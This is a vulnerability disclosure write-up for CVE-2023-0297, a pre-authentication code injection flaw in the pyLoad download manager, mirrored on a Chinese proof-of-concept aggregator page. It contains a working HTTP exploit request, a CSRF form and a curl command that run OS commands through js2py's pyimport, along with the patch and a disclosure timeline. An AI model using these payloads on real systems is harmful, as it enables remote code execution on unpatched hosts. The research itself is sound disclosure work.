POC详情: aba57ad4f61c7c3468d74c774b53221e42fe73f6

来源
关联漏洞
标题: pyload 代码注入漏洞 (CVE-2023-0297)
描述:pyload是一个用 Python 编写的免费开源下载管理器,设计为极其轻量级、易于扩展且可通过 Web 完全管理。 pyload/pyload 0.5.0b3.dev31及以前版本存在代码注入漏洞,该漏洞源于攻击者可以实现代码注入。
描述
CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad
介绍
# CVE-2023-0297: Pre-auth RCE in pyLoad

The Story of Finding Pre-auth RCE in pyLoad

## TL;DR

A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing `js2py`'s functionality.

You can find the report [here](https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/) and exploit code [here](https://github.com/bAuh0lz/Pre-auth-RCE-in-pyLoad#exploit-code).

## Details

[pyLoad](https://pyload.net/) is an OSS download manager written in Python and manageable via web interface. Its [GitHub repository](https://github.com/pyload/pyload) has approx. 2.8k stars as of Jan 9th 2023.

While I was auditing pyLoad's source code, the following code caught my eyes:

[cnl_blueprint.py#L124](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L124)

```python
    jk = eval_js(f"{jk} f()")
```

The definition of `eval_js` function is as follows:

[misc.py#L25-L27](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/core/utils/misc.py#L25-L27)

```python
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
```

`eval_js(f"{jk} f()")` uses [js2py](http://piter.io/projects/js2py)'s functionality which runs JavaScript code `f"{jk} f()"` where `jk` parameter is passed by a request parameter:

[cnl_blueprint.py#L120](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L120)

```python
    jk = flask.request.form["jk"]
```

Therefore you can run arbitrary JavaScript code by requesting the endpoint.

However, how can you abuse it? Since in the `js2py.eval_js()` context neither `XMLHttpRequest`, `fetch` nor `require` (like node.js) are not defined so SSRF or reading local files are not a thing.

After spending some time, I found a fancy `js2py`'s functionality:

[pyimport statement](https://github.com/PiotrDabkowski/Js2Py#pyimport-statement)

```md
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined
```

By using this functionality, you can use Python libraries in `js2py.eval_js()` context! Surprisingly `pyimport` is enabled by default. :o

I tried simple code that runs OS command by using `pyimport`:

```bash
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd
```

As expected, `touch /tmp/pwnd` was executed!

By sending the following request, the same thing would happen in the target host:

```http
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
```

`;f=function%20f2(){};` part in `jk` parameter is necessary as this endpoint runs `eval_js(f"{jk} f()")`. If not present, injected code won't get executed due to `name 'f' is not defined` error.

Note that a cookie and CSRF token are not present in the request. It means that:
- An unauthenticated attacker who can access the target host is capable of RCE.
- Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

## Exploit Code

```bash
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'
```

## Patch

Just disable `pyimport` functionality.

[misc.py](https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d)

```patch
 import js2py
 
+js2py.disable_pyimport()
 ```

## Timeline

- 2023-01-02: Reported to [huntr.dev](https://huntr.dev/)
- 2023-01-04: Vulnerability verified
- 2023-01-04: Vulnerability fixed and report published
- 2023-01-14: CVE ID assigned

Thanks to hunr.dev team and a pyLoad maintainer for quick responses!
文件快照

[4.0K] /data/pocs/aba57ad4f61c7c3468d74c774b53221e42fe73f6 └── [4.9K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。